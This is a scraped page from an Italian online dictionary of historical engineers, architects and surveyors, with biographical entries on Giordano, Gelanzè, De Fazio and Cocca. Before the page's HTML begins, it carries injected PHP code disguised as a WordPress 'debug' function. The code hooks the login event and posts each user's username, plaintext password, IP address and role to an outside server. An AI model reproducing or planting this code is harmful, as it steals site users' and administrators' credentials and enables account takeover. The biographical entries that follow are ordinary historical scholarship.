'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Salerno | Digital DISCI | Pagina 2

Archivi tag: Salerno

Giordano, Bartolomeo

Bartolomeo Giordano
N. Napoli 1788
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere (FOSCARI, 1995, p. 155)

Biografia:

Produzione scientifica:
Le sue opere più rilevanti sono: i carceri di Catanzaro e Monteleone, il teatro di Catanzaro, la strada di Viriolo-Catanzaro, il ponte di legno sul fiume Mesima, il primo tratto di strada Reggio-Villa S. Giovanni, l’inalveazione dei torrenti Montevergine (a Reggio) e Budello (a Gioja). È membro della Commissione di revisione del Corpo di ingegneri (FOSCARI, 1995, p. 155).


- Bartolomeo Grasso, «Prospetto di un edificio progettato per uso della Scuola di Applicazione del Real Corpo di Ponti e Strade» (1814), in «Il disegno di architettura. Notizie su studi, ricerche, archivi e collezioni pubbliche e private», n. 2 (sett. 1990), pp. 60-61.

Produzione di cartografia manoscritta:
- Pianta geometrica di un tratto di strada dei due principati da Avellino, dopo il casino di D. Giuseppe Urciuoli, all’abitato di Bellizzi,1818. F.to: Giordano Bartolomeo.
ASAV, Fondo Intendenza, b.126, dis. A.
- Ponte progettato avanti al molino della Ferrereria, 1817. F.to: Giordano Bartolomeo, Bartolomeo Grasso, Giuliano De Fazio.
ASAV, Fondo Intendenza, b.126, dis. B.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Bartolomeo Grasso e Giuliano De Fazio

Autore della scheda: Vincenzo Aversano e S. Siniscalchi

Gelanzè, Lorenzo

Lorenzo Gelanzè
N. Napoli
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto Direttore (NIGLIO, 2003, p. 15)

Biografia:
Nasce a Napoli nella prima metà del XIX secolo.

Produzione scientifica:
Attivo a Cava dal 1860, il Gelanzè dimostra nei fatti di essersi inserito benissimo nel clima di rinnovamento edilizio e urbanistico che aveva investito la cittadina a partire dalla seconda metà del XVIII secolo, sotto la spinta innovatrice di Carlo III di Borbone.
Nel 1860 dirige i lavori di demolizione del teatro comunale, costruito nel 1833, all’interno dell’antico palazzo municipale, ad opera di Filippo D’Ursi. Nello stesso anno prepara il progetto per un nuovo teatro comunale da realizzarsi in un’area incolta, alle spalle della cattedrale, in località detta La Fratta. I lavori iniziarono nel 1862, ma a causa di una contesa legale con la ditta (Impresa Andrea Maddaloni), nel 1867 l’opera si blocca per circa sette anni fin quando, nel 1874, Fausto Niccolini, figlio del famoso architetto Antonio, autore del Teatro S. Carlo di Napoli, riceve l’incarico di completare il nuovo teatro per la città di Cava de’ Tirreni, senza modificare l’originale struttura del Gelanzè (Gravagnuolo, 1994, p. 169).
Nello stesso periodo il nostro architetto progetta la Villa Comunale annessa al teatro, collocata in un’area ricca di vegetazione di proprietà del vicino Conservatorio di S. Maria del Rifugio. La realizzazione della villa di Cava, che rappresenta il tipico giardino pubblico dell’Ottocento, ideato secondo i principi paesaggistici del tempo, segna l’inizio del rinnovamento e dello sviluppo topografico della città; infatti il Gelanzè la concepì secondo un progetto unitario che comprendeva anche la costruzione del teatro cittadino e la sistemazione della viabilità urbana (Zampino, 1993, p. 36). Sempre in quegli anni progetta anche la balaustra in ferro che circondava tutto il giardino ed i quattro cancelli, tutte opere realizzate dalle fonderie di Capodimonte (Niglio, 2003, pp. 35-36).
Tra il 1861 ed il 1870 l’amministrazione Comunale di Cava, capeggiata dal sindaco Giuseppe Trara Genoino, affronta efficacemente il grave problema del sistema viario, favorendo, in quasi dieci anni, la costruzione di 85 Km di strade. A tal proposito, il 21 febbraio del 1861 il Comune affida al Gelanzè il progetto estimativo dei lavori da effettuarsi su tutte le strade di Cava (Niglio, 2003, p. 15). Si tratta di un primo “piano regolatore”, un grande fascicolo composto da 98 fogli, nel quale furono indicati tutti i lavori necessari da effettuarsi sia nelle strade interne al Borgo che lungo i collegamenti di questo con i casali circostanti. Il progetto prevedeva la sistemazione della pavimentazione delle vie principali e la realizzazione di un basolato per le vie minori, ma sempre interne al Borgo e, in particolare, per via Municipio (attuale via della Repubblica) e per via Pianesi (attuale via A. Balzico: A.S.C., Classe III, Sez. II, n. 10-13).
Dalla relazione allegata al fascicolo, che si riporta infra, solo per la parte iniziale, escludendo le indicazioni e le misurazioni tecniche, si ricavano i criteri generali di un intervento corretto sul territorio: informazioni utili per la riparazione di tutte le strade; buoni suggerimenti circa l’uso di materiali, sia per la pavimentazione delle strade, per la quale si predilige la pietra vesuviana, quanto per la realizzazione dei muri di sostegno, per i quali si preferisce l’uso di pietre calcaree. Il progetto, la cui opera prevedeva una spesa di 6800 ducati (A.S.C., Classe III, Sez. II, n. 10, f. 195), venne approvato il 29 aprile del 1862 dall’Architetto Francesco Paolo D’Urso, funzionario della prefettura di Salerno (Niglio, 2003, pp. 15-16). Tra il 1863 ed il 1872 l’Appaltatore Pasquale Carrano diede il via alla realizzazione dei progetti di recupero delle strade, così come previsto nel fascicolo del Gelanzè.
Il nostro architetto si occupò anche di altre opere pubbliche, quale la realizzazione degli acquedotti e, in modo particolare, di quello del casale di S. Lucia (A.S.C., Classe III, Sez. II, n. 21-23).
Nel 1862 lo ritroviamo a Napoli insieme ad Agostino Lista, per un progetto di una nuova strada che doveva collegare l’attuale via Pessina con via S. Giovanni a Carbonara. L’opera prevedeva lo sventramento della Chiesa Angioina di Donnaregina Vecchia (Turchi,1862, p. 248).

Produzione di cartografia manoscritta:
Pianta del Borgo con tracciato della strada novella (1864).
F.to: Architetto Lorenzo Gelanzè
A.S.C., Classe III, Sez. II, n. 67

Boschetto delle delizie (1874).
F.to: Lorenzo Gelanzè
A.S.C., Classe III, Sez. III, n. 6

Pianta della calata Ruotolo col progetto di Rettifica dell’Acquedotto (1862).
F.to: Lorenzo Gelanzè
A.S.C., Classe III, Sez. II, n. 10

Pianta geometrica del terreno comunale incolta esistente ad Oriente del Duomo della Città di Cava, colla rettifica delle varie strade che lo traversano, coi progetti di altre nuove vie, di una Piazza pel Mercato e di una Villa, e con l’indicazione del suolo per edificare il Teatro, Napoli, 2 gennaio 1861.
F.to: Lorenzo Gelanzè
A.S.C., Classe III, Sez. II, n. 40

Pianta geometrica del terreno a settentrione del Duomo di Cava de’ terreni, con i stradali, villa ed altri lavori che modificano il cottimo, giusta la disposizione del Municipio.
F.to: Lorenzo Gelanzè
A.S.C., Classe III, Sez. II, n. 41

Progetto del basolato al Corso Garibaldi, 2 maggio 1884.
F.to: Lorenzo Gelanzè
A.S.C., Classe IX, n. 10

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Progetto e stato estimativo redatto dall’architetto Lorenzo Gelanzè e presentato al Comune il 1 aprile del 1861 (A.S.C.., Classe III, Sez. II. N. 10, f. 1 e ssg., Primo Fascicolo, 1861-1862).
Le strade comunali della Città sono per la massima parte in terra, poche di esse fiancheggiate da corsi che ne raccolgono le acque e tutte in pendio, insieme per la distanza dei moltissimi villaggi che formano il comune si sviluppano per un’estensione di circa miglia 18. Di tali strade poche sono rotabili e pel resto stante che traversano siti montuosi sono solo atte per cavalcature, però è da osservarsi che gli abitati di maggior considerazione abbenchè posti in situazione eminenti, pure vi si accede per vie rotabili. Tutte le strade hanno bisogno di una continua e ben intesa manutenzione, la quale per poco trascurata o mal eseguita, le rende impraticabili. Uno dei maggiori inconvenienti che ho osservato nell’accurata ispezione locale da me fatta, e che degrada tutte le vie, è la poca cura che si è avuta a condottare le acque, le quali se da principio nella parte più alta sono in poca quantità ingrossandosi lungo la via, si cambiano in altrettanti torrenti che sversandovi sulle strade, per la loro quantità e velocità acquistata le degradano continuamente. Aggiungersi a tal circostanza l’altra importantissima e su cui richiamo l’attenzione degli amministratori municipali, qual’è quella degli abusi che da moltissimi proprietari si praticano facendo cadere a torrenti le acque dei loro fondi e da altezze sensibili senza condottarle né con trombini né con corsi. Poiché il Municipio m’incaricava di progettare l’accomodo e riattazione di tutte le strade interne, ho avuto principal cura a studiare tutti i mezzi perché le acque fossero ben condottate, progettando gavete, corsi, catene le quali sostenendo il piano stradale ed i fossi, impediscono il franamento delle ripe di questi ultimi e conservino le vie. Ho progettato pure per la massima parte delle strade, stante la loro limitata larghezza, la configurazione e tetto, come quella che conduce immediatamente le acque nei corsi laterali e dà il vantaggio della costruzione del corso o della gavetta in un sol lato e ciò con sensibile economia. Attenendomi pure o quanto mi è stato prescritto nel mandato, ho cercato di progettare lo spargimento di brecciame per quelle sole strade che sono più delle altre frequentate e di una spessezza proporzionato al limitato transito delle stesse. In taluni punti essenziali ho creduto apportare delle modifiche alla livellazione attuale. Non ho trascurato di marcare in linea di osservazione le opere d’arte che uscendo dei limiti del mandato affidatomi, sarebbero pur di primitive necessità per la migliore condotta delle acque e per la conservazione delle ripe e delle strade a queste superiori. Ho distinto questo mio lavoro in sei parti, per ciascuna delle quali ho dato separato importo e ciò sulla considerazione di rendere agevole al Municipio, nel caso lo trovasse conveniente, di eseguire i lavori in altrettanti appalti separati ed anche perché la varietà delle contrade porta differenza nello stabilire le unità dei prezzi (...)».

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

De Fazio, Giuliano

Giuliano De Fazio
N. 1773
M. 1835

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere in capo del Corpo di Ponti e Strade; ingegnere di dipartimento; ispettore Generale; architetto commissario della città di Napoli; socio ordinario della Reale Accademia di Belle Arti (BUCCARO, 1992, p. 298, n. 23).

Biografia:
Nasce nel 1773 e muore nel 1835 (BUCCARO, 1992, p. 298, n. 23).

Produzione scientifica:
Tra i maggiori esponenti della corrente neoclassica (insieme a Pietro Valente, Francesco Saponieri, Nicola D’apuzzo, Bartolomeo Grasso e Antonio Miccolini), il de Fazio svolge un ruolo fondamentale nell’ambito dei principali programmi e interventi promossi per il riassetto territoriale dello Stato Borbonico e della città di Napoli: infatti è annoverato tra i maggiori protagonisti dei più importanti programmi ed interventi promossi nel primo ventennio del XIX secolo nel Mezzogiorno d’Italia in materia di opere pubbliche, conformi alla politica economico-commerciale ispirata dal Murat. In qualità di architetto commissario di Napoli, il de Fazio si impegna nel proseguire il programma urbanistico, di stampo funzionale-estetico, intrapreso dai francesi. Con tale intento, nel 1806, riprende la sistemazione dell’Orto Botanico di Napoli (inaugurato nel 1809) sui suoli contigui all’Albergo dei Poveri, cui avrebbe aggiunto, nel 1812, per incarico del Ministro Zurlo, il progetto della relativa Scuola di Botanica e del fronte del giardino di via Foria, nonché della Serra.
In un opuscolo pubblicato qualche anno più tardi (Discorso sugli archi di trionfo), il de Fazio avrebbe chiarito i principi della sua modalità di progettazione, ispirata ai principi base dell’architettura greca (fondati sulla verità degli ornamenti e sulla grandiosità, varietà e unità dell’opera). Contemporaneamente, in questi stessi anni, l’ingegnere-architetto si distingue nell’ambito dell’ingegneria idraulica; nel 1809 lavora a una parziale sistemazione del porto di Nisida, mentre nel 1813 riceve l’incarico di escogitare una soluzione utile a riportare in funzione i porti pugliesi, da tempo interrati.
Questo compito lo avrebbe spinto ad affrontare gli studi di idraulica dei contemporanei ma anche a dedicarsi con molta attenzione all’analisi dei resti archeologici dei moli romani presenti lungo il litorale flegreo e laziale, nella convinzione di poterne nuovamente impiegare le tecniche di progettazione, conciliandole con le più avanzate conoscenze dell’architettura idraulica, per evitare l’interramento dei porti, la cui causa, secondo il Nostro, sarebbe «da ricercarsi essenzialmente nella presenza della corrente litorale e dei venti dominanti» (BUCCARO, 1992, p. 33). Nel 1814, infatti, il de Fazio propone al Consiglio Generale di Ponti e Strade il restauro sperimentale di sei piloni del molo di Pozzuoli, animato dal sogno di restituire al porto flegreo prestigio ed importanza e deciso a verificare la validità del metodo dei moli a trafori, mutuato dalle tecniche idrauliche degli antichi Romani. L’idea, quindi, non è puramente formale e stilistica, ma anche strutturale e funzionale e il bacino flegreo diventa per il nostro ingegnere-architetto «il principale strumento di ricerca in materia di scienza idraulica applicata alle strutture portuali e di economia politica tesa alla gestione del territorio» (BUCCARO, 1992, p. 10). Questo progetto, a causa dell’eccessivo «numero di porti interrati esistenti lungo le coste del Meridione, la conseguente necessità di ristrutturarli e quella di creare nuovi scali indispensabili al commercio marittimo tra le province, e di queste con l’estero» (BUCCARO, 1992, p. 44), viene entusiasticamente sostenuto dal de Rivera, ma osteggiato, invece, da parte dei tecnici più conservatori del tempo. Nonostante le critiche e l’ostilità di questi ultimi, il de Fazio, del tutto indifferente alle provocazioni, tra il 1815 e il 1816, perfeziona il progetto, «tentando invano di giungere ad un intervento di ripristino dell’intero molo, subito ritenuto troppo costoso» (BUCCARO, 1992, p. 34). Nel 1832, nell’ambito del piano di potenziamento del molo flegreo dal punto di vista commerciale e sanitario, il Nostro realizza con l’ingegnere A. Maiuri «lo studio dei “Principii generali su’quali è fondata la buona architettura dei lazzaretti”», nel quale sostiene «l’utilità del lazzaretto all’interno di un sistema commerciale organizzato» (BUCCARO, 1992, p. 126). L’idea del de Fazio è, ancora una volta, osteggiata da una relazione presentata al re Ferdinando II dagli ingegneri conservatori del regno che, nell’ambito del dibattito sulla natura epidemica o endemica del colera (epidemia da cui l’Europa è ripetutamente investita nel corso del XIX secolo) e sull’opportunità di costruire o meno dei lazzaretti come rimedio al contagio, avvalorano la seconda ipotesi. Di fatto, nonostante ciò, i lavori per la costruzione di un lazzaretto ebbero luogo e i principi del de Fazio, «già introdotti nel “Regolamento del Servizio Sanitario Esterno” approvato dal ministro Murena nel ’53, furono riproposti dal Carelli negli “Annali Civili del Regno”» (BUCCARO, 1992, p. 126).
L’attività del de Fazio si svolge intanto anche in altre province del Regno. Con Bartolomeo Grassi e Luigi Malesci si occupa infatti delle opere di regolamentazione del lago di Salpi, la cui bonifica era nelle preoccupazioni del governo borbonico e fu positivamente proseguita nei decenni successivi, all’interno di un progetto che prevedeva la «colonizzazione agricola in alcune aree di scarso insediamento, il rimboschimento e l’ampliamento e ammodernamento di alcuni centri urbani» (MONTESANO BERARDELLI, 1977, p. 288). Il Nostro è pure presente nell’ambito delle iniziative volte a trasformare l'assetto urbanistico della città di Avellino agli inizi del XIX secolo. Sostenitore del panoptismo benthamiano, insieme al Malesci, al Grasso e al de Rivera, entra a far parte il 13 ottobre 1821 della Commissione Esaminatrice della Direzione Generale del Corpo Reale di Ingegneri di Ponti e Strade, incaricata di valutare il progetto redatto dall’ing. Luigi Oberty per la costruzione del nuovo carcere della città di Avellino. Il de Fazio non è un commissario qualunque, ma è sicuramente l’ispiratore dei “concetti-guida” della relazione redatta il 15 dicembre dalla stessa Commissione: «capacità e sicurezza come condizioni imprescindibili, al pari, però, della salubrità e del costume», unitamente a un disegno puramente geometrico, in base alla «convinzione, allora imperante, che solo le forme geometriche potessero garantire forza espressiva e chiarezza di risultati» (CATALDI online). Il progetto per il carcere di Avellino «si ispirava in maniera evidente alle teorie espresse da Jeremy Bentham nel suo Panopticon […] che, pubblicato nel 1791, nei primi decenni del sec. XIX circolava negli ambienti culturali più aggiornati d'Europa suscitando, ad un tempo, adesioni ed interessanti dibattiti». Il de Fazio condivide pienamente le teorie di Bentham, ma «si addentra maggiormente nella ricerca di condizioni di salubrità, dimenticando il principio di isolamento e sacrificando le condizioni di sicurezza e di controllo teorizzate invece fortemente nel Panopticon […], ispirandosi anche a modelli di architettura militare […] e persino agli antichi castelli […], quasi a stabilire un equilibrio con le nuove teorie umanitarie da lui fermamente condivise […]. Ne viene fuori un complesso assai singolare, unico nel suo genere, che risalta chiaramente anche nella , rilevata a vista da Federico Amodeo intorno al 1870, con la sua caratteristica pianta esagonale e il corpo centrale a torre, da cui cinque bracci si dipartono a stella» (CATALDI online).
Tra gli aspetti più interessanti dell’operato del de Fazio, ingegnere-architetto dall’inesauribile attività, si deve in conclusione rilevare la sua indiscutibile capacità di conciliare l’insegnamento degli antichi con un’originale interpretazione dei principi della logica urbanistica importata dal Murat e delle nuove prospettive culturali del tuo tempo, come dimostrano i progetti e i tipi architettonici innovativi da lui ideati, rispondenti a precise funzioni e scopi, sulla scia della tradizione e dei criteri illuministici di efficienza, egualitarismo ed economia (BUCCARO, 1992, p. 7).
Bisogna altresì osservare che gli approfonditi studi sulla scienza dei porti, intrapresi dal de Fazio nel 1814 e confluiti in quattro Discorsi (di cui il quarto è particolarmente significativo anche per la comprensione del fenomeno del bradisismo), gli avrebbero procurato fama e prestigio, suscitando però, allo stesso tempo, la perplessità, l’ostilità, l’invidia e le critiche da parte dei tecnici del Corpo del Genio, in parte giustificate: infatti, negli ultimi scritti sui porti antichi, risalenti al 1832 e 1834, il Nostro, per eccesso di entusiasmo, finisce a volte con il cadere in errore. Tuttavia i suoi studi, proseguiti sino alla morte, sarebbero stati tradotti e pubblicati in Francia negli Annales du Corp des Ponts et Chaussées, per poi essere ulteriormente sviluppati dai suoi seguaci, condizionando fortemente l’evoluzione del settore ingegneristico-idraulico a Napoli durante il regno di Ferdinando II di Borbone (BUCCARO, 1992, p. 36).
Alla luce di tali riflessioni, il de Fazio può essere allora realmente considerato, secondo la definizione coniata da Carlo Afan de Rivera per gli ingegneri del Corpo di Ponti e Strade, un vero e proprio scienziato-artista, ossia un «tecnico interessato all’applicazione delle moderne teorie scientifiche all’architettura delle nuove tipologie» (BUCCARO, 1992, p. 10; cfr. anche Foscari, 1995, pp. 153-154 e passim).

Produzione di cartografia manoscritta:
Ponte progettato avanti al molino della Ferreria, 1817.
F.to: Giordano Bartolomeo, Bartolomeo Grasso, Giuliano De Fazio. ASAV, Fondo Intendenza, b. 126, dis. B.

Pianta della città di Napoli [G. De Fazio-L. Malesci, 1805], (ALISIO- VALERIO, pp. 170-171) citata da Buccaro (p. 27, nota 23) ma non ancora reperita in Archivio.

Profilo della Strada Riviera nella parte più stretta, Apr. 1834
ASN, Sez. Chiaia, Inv. n. 47

Profilo della Strada Riviera nella parte più stretta …, Apr. 1834
ASN, Sez. Chiaia, Inv. n. 48

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giordano Bartolomeo, Bartolomeo Grasso e Luigi Oberty

Autore della scheda: Vincenzo Aversano

Cocca, Bartolomeo

Bartolomeo Cocca
N. Colle Sannita
M. 1724

Relazioni di parentela: Figlio di Pietro Cocca di Colle (ASBN, Fondo Notai, n. 4132, f. 93V; n. 4346, f. 146V; n. 4739, f. 244V). In progresso di tempo il cognome assunse forma plurale (Cocchi), a testimonianza peraltro della importanza sociale assunta dal Casato. In archivio ci siamo imbattuti in probabili discendenti di Bartolomeo Cocca/Cocchi: Francesco Saverio Cocca, tavolario, autore di 231 piante, attivo tra il 1806 e il 1834 (ASBN, Atti Notarili) e Tobia Cocca, geometra-pubblico e perito geometra, autore di 46 piante, attivo tra il 1826 e il 1855 (ASBN, Atti Notarili).

Ente/istituzione di appartenenza:
Qualifica: Agrimensore regio

Biografia:
Nato nell’ultimo ventennio del XVII

Produzione scientifica:
In base alle rappresentazioni rinvenute nell’Archivio della Biblioteca Statale di Montevergine e nell’Archivio di Stato di Benevento, possiamo asserire che l’inizio della produzione cartografica del Cocca risale al 1692, mentre la fine si collocherebbe al 1724 (AMV, Platee 2 e 4; ASBN, Atti Notarili).
L’ Archivio della Biblioteca Statale di Montevergine vanta due corpose platee, la n° 2 e la n° 4, custodite nel fondo Notai.
La platea n° 2, commissionata dall’abate Vitantonio Pastorale al notaio Francesco Carosella, coadiuvato dall’agrimensore Bartolomeo Cocca, fu ultimata il 26 dicembre 1710. Essa ci descrive una parte del cosiddetto “feudo monastico” della Congregazione Verginiana nel secolo XVIII. Non è stato facile nel corso dei tempi delimitare le donazioni terriere amministrate direttamente dalla casa madre di Montevergine. Si tratta di tantissimi micro-possedimenti donati da privati cittadini e successivamente da principi e imperatori, che fecero attribuire all’abate di Montevergine il titolo di feudatario in quanto amministratore laico di un vero e proprio patrimonio terriero.
Il feudo, secondo l’elenco fornito dallo stesso Bartolomeo Cocca, comprendeva i «beni stabili di Montevergine nella Baronia di Pietra de fusi, Benevento, Apice, Montefusco, Torre delle Nocelle, Taurasi, Mirabella, Grottaminarda, Troia ed altre parti del presente Regno…».
Della platea n° 4, risalente al 1721, si sa che fu confezionata al tempo del Rev. mo Pd Ramiro Girardi, abbate generale della Congregazione Benedettina di Montevergine; al suo interno sono testimoniati tutti i beni stabili, redditi ed annue entrate relativi alle terre di Mercogliano, Valle casale dello stesso, Spedaletto, Summonte, città di Avellino, Atripalda, Aiello, Cesinali e Tavernole, Montefredano, Monteforte, Vajano, Mognano, Cervinara, Pietrastornina, Pandarano e Rocca Bascerana [secondo la toponimia dell’epoca, non troppo distante da quella attuale].
Dall’analisi delle piante dei vari possessi abbaziali emerge a tutto tondo il paesaggio agrario, comprensivo di immobili, nonché quello di microcontesti urbani. E così visualizziamo: vigneti; territori demaniali; mezzane (in area pugliese); generici territori (= terreni coltivati) con selva e una grande costruzione in fabbrica (= massaria), oppure con piedi di cerri o di cerque; una trentina di appezzamenti di pianura, di natura irrigatoria; una grande starza (= coltivazione intensiva con piano erbaceo ma soprattutto con alberi da frutta allineati in un preciso ordine, in luoghi precedentemente selvatici); infine, orti annessi a case coloniche di due piani. Più rari gli immobili urbani, adibiti ad uso di taverna.
Autore di tutte queste piante – salvo una, risalente al 1781 e firmata da un altro agrimensore regio (Felice Vecchione) – è l’agrimensore (che talvolta aggiunge l’aggettivo “regio” a questo titolo) Bartolomeo Cocchi (ma da altre piante, conservate nell’archivio di Benevento, risulta anche il singolare Cocca), che si firma in latino (Bartholomeus Cocchi) e dice di essere beneventanus, mentre in realtà è di una famiglia notabile di Colle Sannita, trasferitasi a Benevento, che si trasformerà nel tempo in una dinastia di cartografi. Siamo di fronte a un tecnico infaticabile, autore, per quanto ci risulta, di quasi almeno ottocento piante, ma della cui biografia professionale non si sa quasi nulla. Da quanto ci è noto, possiamo arguire trattarsi di un personaggio tenuto in grande stima sia nell’ambiente laico che ecclesiastico, anzi è indubbio un legame indissolubile di devozione verso il Monastero verginiano. Alla base della sua esistenza c’è una forte motivazione etico-religiosa, che gli fa concepire la propria attività come una missione al servizio della giustizia (cfr. il simbolo dell’aquilotto che trattiene fra gli artigli un compasso e un ramoscello d’ulivo, nonché un verme nel becco), in particolare nelle vertenze a base territoriale.
Sul piano dello stile, Cocca è sicuramente un creativo: lo dimostrano non solo le tante variazioni sul tema «rosa dei venti» e nel disegno delle scale, ma anche la sua stessa tecnica pittorico-compositiva che, senza togliere nulla al rigore geometrico, ci presenta in maniera animata e colorita i paesaggi dei vari contesti che ha dovuto ridurre in pianta per conto del Monastero di Montevergine. Al suo confronto, a distanza di mezzo secolo, appare piatto e schematico lo stile dell’agrimensore Felice Vecchione, nonostante il suo tentativo di proporre una rosa dei venti ben articolata e colorata “a mo’ del Cocchi”…
Le carte dell’ Archivio di Stato di Benevento disegnate da Bartolomeo Cocca hanno la stessa espressività pittorico-tecnica dianzi rilevata. Non essendo possibile darne un ragguaglio sintetico generale, a titolo esemplificativo indico i caratteri di solo tre di esse, in cui compaiono una palizzata da farsi dentro il fiume Sabato per servire al funzionamento di un molino idraulico (n. 3546), una chiesa con case annesse, disegnata con il “curioso” effetto planimetrico-altimetrico non desueto per l’epoca (n. 2494) e due terreni agricoli. Uno di questi (n. 3554), in Contrada Serroni, spicca per il disegno che esalta la dicotomia tra la porzione destinata a selva e quella vitata, suggestivamente resa con linee e puntinato, a dare l’impressione di un ricamo (per un effetto simile si veda la grande carta di G. Rosalba (1834), che raffigura l’attuale piana di Salerno-Pontecagnano: cfr. nell’elenco delle pubblicazioni di questo Dizionario, sub voce.
Com’è noto, spesso i tecnici-artisti dei secoli XVII-XVIII manifestano una creatività che tocca il massimo punto di approdo nella definizione di altri due elementi inseparabili dalla carta, dove il simbolo si carica talvolta di alta simbologicità: la scala e la rosa dei venti. Sempre se riportata, la prima, per la sua ineliminabile linearità si presta meno al gioco fantastico degli estensori: si va dalla semplice doppia linea, con colori o pioli variamente scanditi al servizio di una metrica relativamente stabile nel tempo e nello spazio (passi e/o palmi napoletani) a qualche esemplare di inaspettato sviluppo in altezza o provvisto di una specie di aculei ai due lati. È appunto un abbellimento adottato normalmente da Bartolomeo Cocca, che inserisce di solito anche il disegno di un compasso dal lato sinistro e non risparmia tacche a colori, alternati, rosso e verde od ocra e verdino chiaro. Essendo il cartografo ufficiale del prestigioso monastero di Monte Vergine, egli ne introduce talora, al di sopra e al centro della scala, il simbolo: una croce con l’ostensorio, poggiante sul cocuzzolo di un monte, fiancheggiato da altri due.
Maggiore interesse riveste la forma diversa con cui si trova rappresentata la rosa dei venti, che forse per la sua intrinseca “magneticità” e l’ascendenza amalfitana porta gli autori delle carte a sbizzarrirsi alla ricerca di variazioni possibilmente originali. A prescindere dall’uso (pur riscontrabile) di una semplice freccia disegnata con la punta diretta verso nord e piume variamente disposte lungo l’asticella, la rosa appare di solito a quattro o a otto rombi, sebbene le lettere indicanti i venti si limitino a quattro (T, M, L, P, cioè, rispettivamente, Tramontana, Mezzogiorno, Levante e Ponente). Tra le ingegnose varianti estetiche, va a merito proprio di Bartolomeo Cocca la ricerca di soluzioni sempre diverse, al punto che quasi tutte le sue carte presentano una rosa dei venti originale. Ecco i modelli riscontrati: due chiavi o due lapis disposti a “croce di S. Andrea”; una croce greca; otto rombi di vento dipartentisi da una figura a faccia di sole con grandi occhi fissi; globo su cui poggiano quattro piccoli aculei; sorta di scudo diviso in quattro settori di color granato e crema. A parità di disegno, inoltre, l’autore varia il colore ma soprattutto la lunghezza dei rombi, che in genere sono più corti se rappresentano i mezzi venti.
Se è importante la funzione simbologico-strumentale, esaltata dai fregi, sia della scala con annesso compasso, sia della rosa dei venti, ambedue indispensabili per la misurazione e l’orientamento, sul terreno e nell’esistenza quotidiana, i valori simbolici toccano il vertice in due “vignette”, disegnate dal nostro agrimensore, rispettivamente, in altrettante carte interne alla Platea dei beni verginiani, quella del Casale delli Squillani alle Gorrete (Platea, n. 4, c. 256r) e quella di Rocca Basciarana alle Lenze (Platea, n. 4, c. 258r.). Si tratta, dapprima, della graziosa figura del tecnico-artista, ergente al cielo il compasso nella mano sinistra, nell’atto di salire alcuni gradini che portano a un piedistallo: a parte la testimonianza visiva dell’abbigliamento usato nelle operazioni di campagna, cautelativo dalle intemperie, nulla di più emblematico questo fantasioso agrimensore poteva escogitare per richiamare la necessità dello “sguardo dall’alto” (in senso fisico e sociale, cioè per meglio osservare l’oggetto di raffigurazione e per porsi “al di sopra” degli interessi in gioco), che ha l’obbligo di esercitare chi occupa il suo ruolo. Un richiamo forte alla serietà tecnica, alla correttezza e alla deontologia professionale, che impone una serena neutralità tra le parti.
